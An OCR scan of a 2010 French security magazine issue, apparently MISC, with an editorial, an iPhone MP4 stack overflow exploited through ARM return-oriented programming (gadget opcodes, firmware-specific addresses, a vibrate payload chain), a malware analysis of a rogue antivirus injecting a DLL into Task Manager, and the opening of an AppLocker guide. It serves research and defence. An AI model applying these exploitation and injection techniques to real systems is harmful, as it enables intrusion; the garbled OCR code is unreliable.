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E D ITO Léther du milieu : La toile selon Shelob

11 était une fois un protocole qui naquit dans l'indifférence quasi-générale,
mais qui, quelques années plus tard, écrasait tout sur son passage : le
fameux web. Un peu comme en meédecine ou les praticiens aiment a étaler
leurs residus de latin, ni « d'une et d'un », les geeks 'ont également baptisé
d’un acronyme technique officiel : le HTTP (Hyper Text Transfer Protocol).

Son histoire, c’est un peu One protocol to rule them all. On décida de
bloquer tous les autres protocoles : finis les Finger, Telnet, RPC et autres
bases de données en accés direct depuis Internet (hum hum, enfin, finis
en théorie), place au seul et unique HTTP.

Bon, comme ce n'est pas pratique, tout ce gu’on réalisait avant avec ces
aulres prolocoles est maintenant encapsulé dans du HTTP. Mais vu de l'extérieur;
c'est propre et carré, pas un haut bit qui dépasse. Pour parvenir a ce résultat,
encore eut-il fallu que tous les acteurs se missent en ligne et a I'ceuvre.

A un bout d’'Internet, les serveurs, IIS, Apache et quelques autres
obscurs et méconnus barons, furent placés dans des prisons démilitarisées,
encadrées par des proxies et IDS/IPS. On ne voit hélas (ou pas) plus du
tout de publications comme le légendaire apache-scalp.c sur OpenBSD
de I’hilarant Gobbles, hein ! Plus rien a se mettre sous la d’Ent ?

la mode est maintenant a l'exploitation soit du langage de script
supporté par le serveur, PHP en téte, soit des applications qui tournent
sur ces serveurs : forums, webmails, et plus encore, tant les « serveurs
d'applications » regorgent de merveilles. [.es méchants sont mis en
appétit, toujours pour la méme fin d’ogre : le serveur est rooté. Mais la
résistance s'organise : elfe leve-toi !

A 'autre bout, on trouve les 7 na(in)vigateurs. Bon, OK, ils sont sans
doute un peu plus si on considére les lointains cousins et autres versions
mobiles. En tout cas, ils sont LE truc a la mode, au poinl que cerlains
s’offrent des campagnes de pub impressionnantes.

Lun revient au vieux leitmotiv insécuritaire du logiciel qui va vous
protéger contre 'enfer qui sévit sur Internet, 6 Intelligence embarrassante.
Un autre poursuit son mojo publicitaire avec des affiches collées partout,
faisant elles-mémes la pub certes dudit navigateur, mais aussi de sites/
enseignes partenaires : Chrome ne s’est pas construit en un jour.

C’en est presque rassurant de voir tous ces navigateurs a une telle féte
piscicole, une guinche pour orques acariétres, ou encore un bal rogue & thons.

Mais ces mesures prises par les développeurs et architectes pésent-elles
quand les humains continuent a livrer leurs secrets a leur blog et sur Facebook 7
Bref, et sila menace sur la Toile ne venait pas que des failles techniques,
mais aussi des spiders en quéte d’'informations que des esprits malins
savent exploiter ? Ce n’est que dans un avenir proche que nous le saurons,

Bonne lecture,

Fred Raynal

Rendez-vous au 2 juillet 2010 pour le n°50 !
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EXPLOIT CORNER

mots-clés : IPHONE / EXPLOITATION / ARM

IPHONE OS CORE
AUDIO STACK BUFFER
OVERFLOW

Jean Sigwald — Sogeti/ESEC - jean.sigwald@sogeti.com

e firmware iPhone 3.1.3 de février 2010 a permis a Apple de corriger plusieurs
vulnérabilités. La plus notable affectait le chargeur de démarrage iBoot et

permettait de jailbreaker les iPhones 3GS. Une autre faille intéressante
découverte par Tobias Klein a également été patchée, il s'agissait d’un stack buffer
overflow dans la gestion des fichiers audio au format MP4 [CVE]. L'exploitation des
failles de sécurité sur l'iPhone est rendue compliquée par l'utilisation du bit XN (eXecute
Never) du CPU ARM, empéchant I'exécution de code sur la pile et le tas. Nous présentons
ici comment utiliser le « return oriented programming » pour exploiter cette faille.

Y~

Analyse de la

vulnérabilité

1.1 Le format MP4

et le démon
mediaserverd

Un fichier MP4 est un conteneur
composé de plusieurs blocs appelés
« atomes », identifiés par un tag ASCII
de 4 octets précéde par la taille du bloc.
Ces atomes peuvent étre imbriqués
et vont conlenir des méladonnees ou
des flux audio/vidéo. Un conteneur
MP4 commence toujours par un atome
« ftyp » qui indique le format des données
contenues dans le fichier.

La gestion des fonctionnalités
multimédias de 1'iPhone est assurée
parle démonmediaserverd, quiexpose
differentes méthodes via une interface
IPC. Ce démon va donc gérer la lecture
des flux audio et vidéo a la demande des
différentes applications du téléphone,
el en particulier décoder les différents
formats de fichiers.

T o - veiin 2010

224 oclets

“R10 A48 octats

R11

R4

R5

A7

R7

Figure 1 : Etat de la pile

1.2 Description du

Lavulnérabilité concerne la fonction
MP4AudioStream: : ParseHeader dansla
bibliotheque AudioToolbox. Le prologue
de la fonction est le suivant :

STHED SPY, {RO-BZ,LR}
_ .

Le prologue sauvegarde les registres
R4 aR11 (32 bits) et LR (Link Register,
adresse de retour de la fonction) surla
pile, ainsi que les registres de calcul
en virgule flottante (D8 a D15, 64
bits chacun). 580 octets sont ensuite
réservés pour les variables locales de
la fonction. L'état de la pile de cette
fonction est présenté sur la figure 1.

La faille se situe au niveau du
traitement des atomes « mvhd ». La
fonction memcpy est appelée pour
copier le contenu de 'atome dans le
buffer « dest » de taille fixe sur la pile,
et le parametre size esl direclement
contrélé par l'attaquant.



I1 est donc possible d’'écraser la valeur sauvegardée
du registre LR en ouvrant un fichier MP4 audio (atome
« ftyp = M4A ») contenant un atome « mvhd » de taille
supérieure a 448 octets. Lors de 'exécution de I’épilogue
de la fonction, les registres R4 a R11 et PC (pointeur
d’instruction) seront chargés avec des valeurs choisies
par l'attaquant.

P, RI, #88

Le principal vecteur d’attaque pour exploiter cette faille
est le navigateur Safari, qui ouvre automatiquement les
fichiers audio et vidéo. Loverflowauralieu dans le processus
« mediaserverd ». Ce processus est exécuté avec le compte
utilisateur mobile et ne posséde donc pas les privileges root.

2 Exploitation

Depuis la version 2.0 du firmware, la pile et le tas
des processus iPhone OS ne sont plus exécutables. Le
kernel empéche également la modification des droits des
pages non signées ou I'allocation de pages exécutables.
Cependant, I'absence d’ASLR et de stack cookiesdans la
fonction vulnérable permet de faire du return oriented
programming pour exploiter cette faille.

iy oy

La technique de return oriented programming consiste
a forger une pile d’exécution valide qui sera remontée
lors du retour de la fonction vulnérable et provoquera
ainsi l'appel de fonctions choisies par 'attaquant. Cette
technique n’offre pas la souplesse d"un shellcode arbitraire,
mais il est possible d'utiliser des « gadgets » pour aller
plus loin que l'appel successif de différentes fonctions. Les
gadgets sont des morceaux de code effectuant une action
précise (affectation mémoire, chargement de registre,
etc.) et se terminant par une instruction équivalente
au ret sur x86. Ces gadgets devront étre identifiés au
préalable par I'attaquant dans I’espace d'adressage du
processus ciblé, puis combinés de maniére appropriée
pour creéer la pile d’exécution.

2.1 Return oriented

programming ARM

Pour forger une pile d’exécution correcte, il est nécessaire
de comprendre la convention d’appel utilisée par ’ABI ARM
(Application Binary Interface). Les 4 premiers parametres
sont passés dans les registres RO a R3, et les suivants sur
la pile. Ladresse de retour est stockée dans le registre
LR, mais dans le cas ol la fonction n’est pas une fonction

EXPLOIT CORNER

terminale (leaf function, c'est-a-dire qui n’appelle pas
d’autre fonction), ce registre sera placé sur la pile dans
le prologue puis restauré dans l'épilogue de la fonction.

Les opérations de sauvegarde et restauration de
registres sur la pile sont réalisées avec les instructions
de transferts multiples : STM et LDM (Store/Load
Multiple). Ces instructions possédent de nombreuses
variantes : pre-increment, post-decrement, etc. En
pratique, c'est la variante I'D, pour Full Descending
stack (pre-decrement), qui est utilisée dans I'ABI ARM.
Ainsi, le prologue et 1'épilogue classiques d'une fonction
non terminale seront les suivants :

g
Les insfructions STMFD et LDMFD correspondent

respectivement aux instructions PUSH et POP sur x86. Le
registre R7 joue le role de frame pointer (ebp sur x86).

Avant d’appeler une fonction, il est donc nécessaire de
localiser un gadget permettant de charger les registres
RO a R3 avec des données issues de la pile (et donc
controlées parl’attaquant). L'instruction suivante réalise
cette opération puis transfére I’exécution a une adresse
choisie par l'attaquant :

LONFD SPI, (RB-R3,PCY . wxEsROsEEF

Pourdéterminer 'emplacement d'une telle instruction,
il est possible de rechercher l’opcode correspondant
dans le fichier /System/Library/Caches/com.apple.
dyld/dyld_shared_cache armvé du téléphone. Ce
fichier regroupe les bibliotheques dynamiques les plus
utilisées afin d'accélérer le lancement des applications,
et est mappé a l’adresse 0x30000000 dans l'espace
d’adressage de chaque processus.

Dans le cas du firmware 3.1.2 pour I'iPhone 3G, une
recherche de I'opcode OXxE8BD80OF (little endian) dans
ce fichier de cache renvoie plusieurs résultats, on utilisera
ici l'adresse 0x300199CC pour le gadget gadget_ROR3.

A noter que contrairement a I’architecture x86, il n’est
pas possible de « créer » des instructions en sautant
au milieu d'une instruction légitime, car le pointeur
d’instruction doit étre aligné sur 2 ou 4 octets (modes
thumb et normal respectivement), sans quoi une exception
de type « data abort » est levée par le CPU.

Une fois les parameétres chargés dans les registres, la
technique consiste a sauter surla seconde instruction de la
fonction a appeler, pour éviter d’empiler le registre LR sur
la pile. De cette facon, lorsque 1'épilogue de la fonction est
atteint, la valeur de LR récupéreée sur la pile est controlée
par l'attaquant qui peut donc enchainer les appels.

2.2 Payload Vibrate

Le payload decril sur la figure 2 a pour objeclif de faire
vibrer le téléphone (s'il n’est pas en mode silencieux) via la
fonction AudioServicesPlaySystemSound, puis de quitter
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proprement le processus « mediaserverd ». Un appel a
la fonction sleep est egalement réalise pour « laisser
le temps » au téléphone de vibrer avant de terminer le
processus. Lenchainement des appels est le suivant. :

448 octels
LDMFD 5P, {RC-R3 PC)
A0 OxFFF
Ri i} AudioSarvicesPlaySystemSound
A2 o STMFD SPL {R4.R7.LR}
A3 o J—b ADD  R7.SP ¥4
irvicesk ¥ +4 i
LDMFD SP1, {R4,R7.LR}
a4 (]
B ZLAPiaySoundirbd
A7 [V .
gadget ROR3 4>{ LDMFD SPL {RO-R3.PC) |
RO 10
a1 L)
| 2
R2 0 shaap
A3 o STMFD 5Pl {R4.R7.LR}
sloap + 2 + 1 {Thumb) | ADD RV SP #4
A4 o
LOMFD BP!. {R4.R7.PC}
A7 ]
exit + 2 + 1 {Thumb)

Figure 2 : Détail du payload

Pourl’appel a exit, le parametre n'est pas important
et nous n’avons donc pas besoin d'utiliser le gadget pour
charger une valeur dans RO. De plus, la fonction sleep
renvoie 0, donc tout devrait bien se passer.

gadget ROR3 0x300199CC
AudioServicesPlaySystemSound | 0x31FE2F8C
sleep 0x3277113C
exit 0x32756FB8

Tableau 1 . Adresses des fonctions et gadgets pour I'iPhone 3G
firmware 3.1.2

2.3 Cas de l'iPhone jailbreake

Lorsque le téléphone est jailbreaké, le kernel est
patché pour ne plus vérifier les signatures des binaires.
De plus, la gestion de la protection des pages mémoires

BT o - wavuin 2o
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est modifiée et il est possible de rendre n’importe quelle
page memoire executable (par exemple, passer de RW
a RWX).

Cette modification est nécessaire pour la bibliotheque
d'insertion de code Mobile Substrate, dont dépendent
certains programmes utilisés surles iPhones jailbreakeés :
par exemple, 'outil de désimlockage ultrasn0Ow, ou encore
Winterboard, qui permet de personnaliser le menu du
teléphone (fond d’écran, etc.).

Ainsi, dans le cas ol I'iPhone ciblé est jailbreaké, il est
possible d’exécuter un shellcode arbitraire relativement
facilement en 2 temps :

- return oriented programming pour activer le copy-
on-write (VWM_PROT_COPY) sur une page déja exécutable
et y recopier le shellcode ;

-saut vers le shellcode recopié dans la page exécutable.

Conclusion

Cette vulnéerabilité est intéressante car il s'agit d'un
« cas d'école » de stack buffer overflow, et le controle du
pointeur d'instruction est immédiat. Ce type de faille est
assez critique, car le compte utilisateur mobile peut établir
des connexions réseau et accéder & de nombreuses données
sensibles : SMS, Contacts, etc. En effet, le systéme de
sandboxd'{Phone OS n'empéche pas la lecture de ces fichiers.

Lutilisation d’outils pour identifier et combiner
automatiquement les différents gadgets, comme présenté
dans la thése de Tim Kornau [ROP], permettrait de
faciliter la mise au point de payloads plus complexes,
comme celui utilisé lors du challenge Pwn2Own [P20]
pour envoyer la base de données des SMS a un serveur
controlé par l'attaquant. Lapparition éventuelle de
I’ASLR dans la prochaine version majeure du firmware
iPhone 4.0 pourrait rendre cette méthode d'exploitation
impraticable, ou tout du moins plus difficile a mettre
en place. ®
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ROGUE AV : UTILISATION
DU GESTIONNAIRE DES
TACHES POUR EFFRAYER
LES UTILISATEURS

Nicolas Brulez - nicolas.brulez@kaspersky.fr
Senior Malware Researcher — Global Research and Analysis Team

Kaspersky Lab France

CODES MALICIEUX / REVERSE ENGINEERING / ROGUE!'

mars-cles ; ANALYSE DE CODE / FAKEAV / SCAREWARE / INJECTION

es faux antivirus (Rogue AY) sont présents depuis de nombreuses années et
tentent d’effrayer les utilisateurs en leur faisant croire que leurs machines

sont infectees. Le FBI affirme que le montant des fraudes est supérieur
150 Millions de dollags, et pour obtenir une telle somme, les cybercriminels sont sans
cesse a la recherche de techniques alarmantes et effrayantes pour les utilisateurs.

Cet article PREsenle ans technique récente utilisée : BOOL _ stdcall DIlEntryPoint(HINSTANCE hinstDLL, DWORD |
pour les convaincre d’acheter leur antivirus factice. public D11EntryPoint
D11EntryPeoint  proc near
Une DLL gt.ﬂ,lsant un packergloader] pol}fn"{orphl‘que S 7 S
(pour ralentir I’analyse et empécher la création d’une FdwReason = dword ptr ®
simple signature) est injectée dans le gestionnaire des 1pReserved = dword ptr OCh
taches (taskmgr.exe) pour afficher des informations mou ds :dword_18017DAB, ecx
& i 4 3 push ebx
comp]emlentalre:s sur les processus en mémoire. Nous Siie ds = dword_10817078 i
allons voir en détails comment fonctionne notre DLL. push  edx i
pop ds :dword_18817C53 |
mou ds :dword_10817C4B, edi |
push esi
pop ds :dword_18817D6A
1 L k _ I d lea edi, unk_18B817BB8
e_ paC er Oa er push edi
AN ; mowv ch, ds:byte_1008163D4
mov ds :dword_18616618, ed=
Notre Rogue n’utilise pas un packer a proprement pop eax i
» e . - . i add byte ptr ds:dword 10016048, 82h i
parler, c’est-a-dire que le fichier a protéger n'est pas push  ebp 1
modifié directement. Alors qu’un packer classique ;: :5:' 3955“
modifie I'application a chiffrer en ajoutant une routine de mou ds :dword_16841603C, BAIFH
déchiffrement directement dans celle-ci, nous sommes ici 2:2 ::g"“sggfl'hl?“]
en présence d'un autre type de protection. Lexécutable nov ds:duord_18816618, ebx |
original n'est pas modifié, mais incorporé dans un autre p"::h :i;d""dJ SELIHIA, LHEED |
programme loader, dont le seul bul est de charger et lea esi, [eax+60DEN] i
d’exécuter|'application a protéger, en mémoire seulement. :::n EE: {
A aucun moment, I'application originale n'est copiée sur ade edi, 6251h f
3 . . shl esi, 3 |
l‘e disque. Lg coquille est p.olyxporphzque ei,: cl’1ange donc fall  sub. 1800208E
a chaque fois qu'une application est protégée. jmp loc_1888947E |
D1lEntryPoint  endp I
C’est ainsi que tous les composants du Rogue sont A

protégés. Voici par exemple le point d'entrée de I'un d'eux : Fig. 1 : Point d'entrée d'un fichier « packé »
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Pour extraire les fichiers originaux, il est nécessaire de
poser un point d’arrét matériel au début de la premiére
section (sur les acceés écriture) et d’exécuter notre
programme. Lorsque la routine de déchiffrement (ou de
modification de code) sera exécutée, notre point d’arrét
nous permettra d’'interrompre I’exécution, comme vous
pouvez le voir ci-dessous :

FEFEIIT }
DEwsBirrr)y B

Nous sommes en présence d’une routine d’écrasement.
Les deux premieres sections (CODE et DATA) se voient
remplies de 0x0. Cette opération s’avére inutile, puisque
quelques instructions plus tard, ce méme emplacement
(ainsi que les headers du fichier) est écrasé par une
nouvelle rouline. Pendant1’exécution de notre programme
polymorphe, celui-ci a alloué de la mémoire pour y
déchiffrer I’application originale :

B OOEAORAR Desllop AR
1] Hunu1 e
L BUIRD
MRD PR DY

3| (]
£51 Wil
101 BUSYENN Dicktop -

Elr

G walFr FFoan
ool B0 BH B
| R

Hi

an R

La routine d’écrasement utilise les registres ESI et
EDI, respectivement les buffers source et destination.
Le buffer source contient

¥
f

i
f)
Hit

ROGUE AV : UTILISATION DU GESTIONNAIRE DES TACHES POUR EFFRAYER ..

Lautre avantage est qu'il n’est pas nécessaire de
reconstruire les imports, le fichier est directement
opérationnel et analysable & I'aide d’'un désassembleur:
voir Figure 4.

Lorsqu'il s'agit d'effrayer les utilisateurs, les faux antivirus
nous ont habitués a I'affichage de pop-ups alarmistes :

€ Antispyware software warning

Your computer i infected with spyware and mabware,
Last scan results: 15 infected files found!
Click this notification ta fix the problem.

ou encore :

%, Deskitop Security 2010

WARNING! 71 threats detected

iy Datectsd malicious programs can damage your computer and compromise your privecy,
1t"s strongly recommended to remove them Immadiathy|

Virus name Dascription Saverity Stabus

“  PWSWIn3Z/Frethog genlB PWSWwin32/Frethog.genlB Critical Infected  *
i #  BackDoorEFQ BackDoarEFG Critical Infectad
i  WormWind2/HamwegA Wormn win32/Hamweq A Citical Infected
| *  Genenc.du02c3e3c35bd5 Generic. dWl0269c3:35bd5 Crtical Infacted
. @  Gererc Pup.zi7ec:2eb2a Gereric Fup.zl7ec2sb2s Cikical Infected
I & W32/Autorun wormlSAS2698F W2 Autorun wormIS492896F  Crtical Infected
i *  FealdletDZ)1bS2706RETe Realdlet-DZ11b32F70bbET e Crtical Infected
:. B Daald sk FAF O Sk 4 OE Baalhbast A4 Q- 4 HOR Prtia el lmbmmbmd .
il Potential risks: Infecting other computers on your network
Corinue urgrotecksd Remove all threats naw
i

Je vais maintenant présenter
une technique récente utilisée
en plus des pop-ups alarmistes

I'application originale déchiffrée, BIIERtroPolnt —proc nesr R e

alorslqug,ls ste{‘:dondn est autre Lvar_1c = E'F'SEE g;; ﬁ;Cht 2 antivirus Desktop Security 2010
ue e debu u programme ns_exc - 0 r —18h ! X i : A

I . . P 2t W ireEbil B S gsiyedy | utilise le gestionnaire de tAches

P?\Ymorp lque, qui s apprete fduReason = dword ptr 6Ch de Windows (taskmgr .exe) pour

Acrase, 1puReserved = dword ptr 1on s

ne e A - Jstade,‘nous : ¥ effrayer les utilisateurs. En effet,

;’i‘vonsllapsssﬂaﬂ.il.‘e(_l er;reg'i lr PUSE o S0 Gt une DLL est injectée dans ce
applicati us o ru_ - A
app on originale sur le | s SETl prol i processus lorsqu’il est exécuté

disque en dumpant cette adresse oy Sals S pour afficher des informations
emoire. [1n’ as ne i inc eax : i

TR lln, esltp AT ] mov [ebp+uar_1C], eax factices : voir Figure 7.

de continuer l'exécution du loader, | ik esi, [ebp+fduReasan]

En effet, celui-ci va maintenant { ’;:; sg; Egi Les mots « infected » et

charger et exécuterle malware . jnz short loc_18861D7E « virus free » ont été ajoutés en

en mémoire. Il est préférable ;;‘P ‘f;‘grjﬁagfgg?“- eud face des processus. Nous allons

de dumper avant l'altération s RS DRl maintenant voir comment notre

de celui-ci. malware exécute cette opération.
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2 Windows Task Manager

Image Name User Name U Mem Lisage
vinbocksd. exe SYSTEM 0o 9600K Infected
Desklop Security 2010, exe oo 126 372K ius free
securitycentar.axe 0o SE6BK VYirus frea
taskmgr, exe o1 4528K Vius free
WMwareibl Assertd, 1.4, 1 1056838 oo 548K  Virus fres
wmsfbvmsngls2 axe o FELEK Vs free
1] K Infected
55 [l infacted
.1.4.11056,:8x8 o Virus frae
7e3625bodcsboshl 1a3efc 1 1537197771, o 3475K  Wirus free
‘WMwareliser es o 16 3B4K  Wirus free
WMwareTray. exe o AB12K  Virus free
=splarer exs o0 20 240K Vinus fres
spaclsy.exm SYSTEM oo IEMK Virus free
svchost. exe LOCAL SERVICE o0 FEFTK Virus fras
schost.exe NETWORK SERVICE 00 Z2536K  Vinus free
suchost.exe SYSTEM oo LES96 K Virus free
‘WMLpgradeHeiper, exe SYSTEM oo F144K  Virus free
suchost.exe NETWORK SERVICE 00 Z629K Virus free
swchost,exe SYSTEM oo IFEK Virs Free
vmacthip. exe SYSTEM il 1524K Virus free
Isass.exe SYSTEM i} 1232K Virus free
senvices.axe SYSTEM oo 2956K Nirus free
winlogen.axe SYSTEM oo 4800K Vius Free
CSr55.am SYSTEM oo IS04K Wirus Free
SITeS.exe SYSTEM oo 00K Infected
algiece LOCAL SERVICE 0o 2692K Virus fres
swchast .axs LOCAL SERVICE oo 2860 K Virus fres
Siystam SYSTEM oo 144 £ Virus free
System Ide Process SYSTEM 99 26€ Wrus free
| End Process J
Comeit Chasge: 346876K | 617120K

aire des taches

5 injection

Lexécutable principal de notre malware, « Desktop
Security 2010.exe », énumeére les processus a la
recherche de taskmgr.exe. Une fois le processus
trouvé, celui-ci se voit allouer de la mémoire a l'aide de
la fonction VirtualAllocEx, quicontiendrale chemin
complet de la DLL malicieuse du malware. En général :
C:\Documents and Settings\%USERNAME%:\Application
Data\Desktop Security 2010\taskmgr.dll.

push offset Stringl | “taskmgr.exe"
call Search_Process_ Hame

pop ecx

mou [ebp+duProcessid], eax

cmp [ebp+duwProcessid], B

jz short loc_AS57385

push [ebp+dwProcessid] ; dwProcessld
push B | ; bInheritHandle
push 43ah ; duDesiredAccess
call ds:BpenProcess

mov [ebp+hlbject], eax

cmp [ebp+hibject], B

jz short loc_ 457300

lea eax, [ebp+Buffer]

push eax ; lpBuffer

push [ebp+hUbject] ; hProcess

call allocate_memary and_inject_dl1_string

Fig. 8 : Routine de recherche du taskmgr

Une fois le chemin injecté dans le gestionnaire des
taches, notre malware utilise CreateRemoteThread.
Au lieu d’injecter un bout de code responsable du
chargement de la DLL, I'adresse de LoadLibraryA est
passée directement en parametre de CreateRemoteThread.
Le parametre du thread est le pointeur vers le chemin
de la DLL, ce qui a pour résultat de charger la DLL
dans le gestionnaire de taches sans avoir a injecter
de code.

Pour pouvoir afficher les mots « infected » et « virus free »,
notre DLL utilise une technique simple mais efficace. Les
appels successifs aux fonctions SetTextColor et DrawTextA
en sont responsables :

test al, al

inz short loc_18881hFF

push BFFh i Text Color> Red:@FFh Green:®® Plue:@8 —> Texte Rouge
push esi i hdc
call ds:setTexttolor

push 2&h

lea edx, [esp+17Ch+re]

push edx

push (]

push offset alnfected | “infosiod”

jmp short loc_ 180516

; CODE XREF: sub_1080713u8+1991]
; osub_1AREIRsA+1A1T |

push 8 5 Text Color> Red: 00 Green:@0 Blue:@8 --> Texte Moir
push esi : hdc

call dg:setTextiolor

push 2hh ; format

lea eax, [esp+17Ch+rc]

push Bax : lpre

parsh anh ; cchText
push offset chlext ‘virus free

; CODE XREF: sub_18881348+1B0Tj
esi : hdc
ds:brawlexth
ecx, [esprifRh+uwParam]
eax, [esp+i7Bhsuvar 164]
ecx
eax
[esp+178h*wParan], ecx
[esp+i7Bh+uar_ 164], eax

ig. 9 : Routine de medification de I'affichage du task:

J’ai pris soin de commenter les paramétres Color de la
premiére fonction. Ce parametre est en fait la représentation
RGB (Rouge Vert Bleu) de la couleur en hexadécimal. 11 suffit
d’utiliser 0xFF pour le rouge, et 0x0 pour le vert et le bleu
pour obtenir une couleur rouge. Le noir (bleu foncé) est
obtenu avec un 0x8 pour le bleu et rien pour le rouge et vert.

Avant de pouvoir afficher du texte, notre programme
malicieux doit d’abord dessiner un rectangle et « calculer »
I’emplacement de celui-ci. Ensuite, chaque ligne est ecrite
une par une, pour donner l'illusion d'une information relative
au processus qui se trouve sur la méme ligne,

Avant d’effectuer la modification, la présence des autres
composants du Rogue est vérifiée. En cas d'absence de
ces derniers, aucune modification n’est apportée. Il s'agit
probablement d’empécher le test de la DLL sans inslaller
le malware, mais aussi de parer un éventuel vol de leur
DLL par d’autres faux antivirus.

Les techniques alarmantes utilisees par les Rogues
sont de plus en plus évoluées. Au-dela du simple pop-up,
nous avons maintenant des lechniques plus évoluées,
telles que l'injection présentée dans cet article. A noter
que notre malware sait aussi « détecter » l'exécution de
tout programme et affiche de temps en temps un message
personnalisé, contenant le nom de I'application ainsi qu'une
infection factice lors de son exécution. Lutilisateur se voit
donc informeé que ses programmes sont infectés, il ne s’agit
plus de noms de fichiers aléatoires. W
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ans un environnement d'entreprise, il peut s‘avérer bénéfique de restreindre
les applications qu'il est possible d’exécuter sur un systéeme Windows, que
ce soit un poste de travail ou un serveur. Voyons si AppLocker, fonctionnalité

disponible depuis Windows 7 et 2008 R2, répond a cette attente.

1 Présentation

Sur un poste de travail en entreprise, il est souhaitable
que les utilisateurs ne puissent pas exécuter des logiciels non
maitrisés par les administrateurs, une bonne raison parmi
tant d’autres etant que ceslogiciels ont toutes les chances
d’échapper aux processus de mise a jour et diminuent donc
la sécurité du parc. On voudrait, par exemple, bloquer
les « portable apps » sur clé USB ou les applications
qui peuvent s’installer en tant qu'utilisateur standard
dans %UserProfile%, comme Firefox, Skype, Chrome, etc.

Une telle restriction d’exécution peut également étre
utile pour des serveurs multiutilisateurs sur lesquels des
employés peu scrupuleux pourraient tenter le dernier
PoC téléchargé sur Exploit-DB, ou pour restreindre le
plus possible la prise de contréle du serveur par un
attaquant ou pentester pouvant déja exécuter du code
arbitraire, par exemple, pour empécher 1'élévation de
privileges vers SYSTEM ou diminuer ses capacités de
rebond vers d’autres serveurs.

AppLocker prolonge ainsi les « stratégies de restriction
logicielle » ou SRP (Software Restriction Policies) déja
disponibles sur Windows XP et 2003. Le but est de définir
un ensemble de régles indiquant quelles applications
sont ou ne sont pas autorisées a s'exécuter sur le poste,
selon différents critéres. Ces régles peuvent étre définies
localement ou par GPO. Windows 7 supporte toujours
les SRE, mais si une GPO configure simultanément des
regles SRP et AppLocker, seules ces derniéres seront
effectives [I].

NOTE

AppLocker necessite que le service « Idenlilé de
I'application » soit démarré, ce qui n’est pas le
cas par défaut.

Localement, la configuration se fait via : Stratégie
de 1’ordinateur local -> Paramétres Windows ->
Paramétres de sécurité -> Stratégies de contréle
de l'application -> AppLocker.

Pour un déploiement a 'ensemble d'un pare, les régles
ne peuvent étre créées ou appliquées qu’aux systémes sous
Windows 7 ou 2008 R2 (pour la création sous Windows 7, le
Remote Server Administration Toolkit est nécessaire) ; en
revanche, elles peuvent étre hébergées sur des contréleurs
de domaine sous Windows 2003 ou 2008 existants [2].

AppLocker dispose de quatre jeux de régles permettant
une configuration par type de fichier documentée de la
facon suivante :

- régles de l'exécutable : fichiers .exe et . com;

- régles Windows Installer : fichiers .msi et .msp ;

- regles de script : .psl (PowerShell), .bat, .cmd,
.vbs et .js;

- regles de DLL (optionnel) : .d11 el .ocx.

D’apreés nos tests :

- Les régles pour les exécutables couvrent également
les .exe lorsqu‘ils sont renommeés en .pif, .cmd ou
.bat (mais pas les « vrais » fichiers .pif, .cmd et
.bat, ...) ainsi que les .scr.

- Les régles pour les scripts couvrent également les
fichiers .vbe, . jse (versions encodées des .vbs et
. 15) mais pas les .hta.

- Lesrégles pour les .msi couvrent égalementles .mst.

- Les régles pour les DLL couvrent également les
fichiers .cpl.

Lors de la rédaction de cet article, un probléme de
sécurité a par ailleurs été identifié dans AppLocker. En
attendant le correctif Microsoft, il nous est malheureusement
impossible de donner plus de détails.



Pour chaque jeu de regles, trois conditions sont
disponibles :

Editeur

Possibilité

de spécifier
I'éditeur; le nom
du produit, le
nom du fichier
ou la version
voulue.

Flexibilité lorsda

I'écriture de la
régle. Possibilité
d’autoriser
un ensemble
d'applications
avec une unique
Versions,

signé. Pourles régles
utilisant la version,
peut nécessiter une
mise a jour réguliere.

Chemin

Régie basée sur
le chemin vers
l'exécutable.

S’applique a
tous les binaires

Autorise tous les sous-
répertoires, ce qui
peut poser probléme
si certains sont en
écriture pour les non-
administrateurs,

Hachage
du fichier

Regle basée sur
un condense
du fichier.

S'applique au
fichier quel
que soit son
emplacement.

Nécessite une mise
a4 jour a chaque
nouvelle version de
I"application.

La principale différence avec les SRP provient de son
mode de fonctiennement par défaut : tout fichier non
concerné par une régle de type « Autoriser » serabloqué.
Il s’agit donc par défaut d'un systéme de type liste blanche
qui peut apporter un vrai bénéfice en termes de sécurité
s’il est convenablement configuré. Ce fonctionnement
était déja possible avec le mode « Rejeté » des SRP, mais
la mise en place pratique était souvent délicate, avec en
particulier la nécessité de créer manuellement les régles
pour chaque application et I'impossibilité de spécifier
avec précision les utilisateurs ciblés (SRP ne différenciant
que les administrateurs des utilisateurs standards).

NOTE

Il est aussi possible de configurer un fonctionnement

en liste noire, en commencant par autoriser tout
binaire a s’exécuter, puis a créer des regles de
refus pour chaque application a bloguer.

Lors de la mise en place d'AppLocker, les régles par
défaut suivantes sont créées :

I REGLE

PENTEST CORNER

r Favaeit
B Euresy
. Erplacersents ricee M cmd

o Tilecharsesrals 4 eondialE2 )

4 emctgiLal
|

Co programer et biogot gar ura siratigie de grovoe, Pour olut o iffernatans, contacter
okt administratecs systeme.

il Dektopicmd axs

[ oK

Message en cas de refus d’exécution

Si, pour une raison ou une autre, l'administrateur
veut exclure speécifiquement cmd.exe pour certains
utilisateurs dans le contexte des régles par défaut,
il peut créer une régle de refus en se hasant sur les
informations éditeur (recommandé car ce binaire est
signé par Microsoft, voir ci-dessous) ou un condensé
cryptographique du fichier (option plutdt réservée aux
binaires non signés).

NOTE

Une autre solution consiste a ajouter a la regle
autorisant tout programme a étre exécuté
depuis C:\WINDOWS une exception concernant

cmd.exe, mais cela va s’appliquer a tout le
monde (les exceptions s’appliquent aux mémes
utilisateurs que la réegle elle-méme), alors qu'il
est préférable de laisse un acces a cmd. exe aux
administrateurs.

2 Mise en pratique

Le but recherché par AppLocker est de permettre
aux administrateurs de définir une liste blanche
d’applications autorisées et d’empécher 1'exécution
de toute autre application. Concrétement, I'idée
est de partir d'un systéme Windows 7 de référence,
contenant l’'ensemble des applications utilisées par les
utilisateurs ciblés, afin de batir les regles qui pourront
ensuite étre déployées aux postes concernés par GPO.

On utilise pour cela le générateur

Action Utiisateur Hem

9 Lutorizer Tout le mancle (Regle par défaut) Tous |es fich ers se trouvant cans e dogsier Program Files
H4 Lutoriser Toutle monde (Regle par défaut) Tous les fich ers ze trouvant cans le dossier Windows

) Autariser BUILTIN Administreteurs  (Regle par defaut Tous les fich ers

pour créer rapidement les régles par
analyse des binaires contenus dans un
répertoire donné.

Reégles AppLocker par défaut pour les exécutables

Ces régles laissent donc libre accés aux administrateurs
(en effet, les regles s’appliquent également a eux) et
n’autorisent les utilisateurs a lancer un programme que
depuis C: \Program Files et C:\WINDOWS. Par exemple, un
utilisateur peut toujours lancer!'interpréteurde commandes
cmd . exe. Mais s’il le copie sur son bureau, I’exécution de
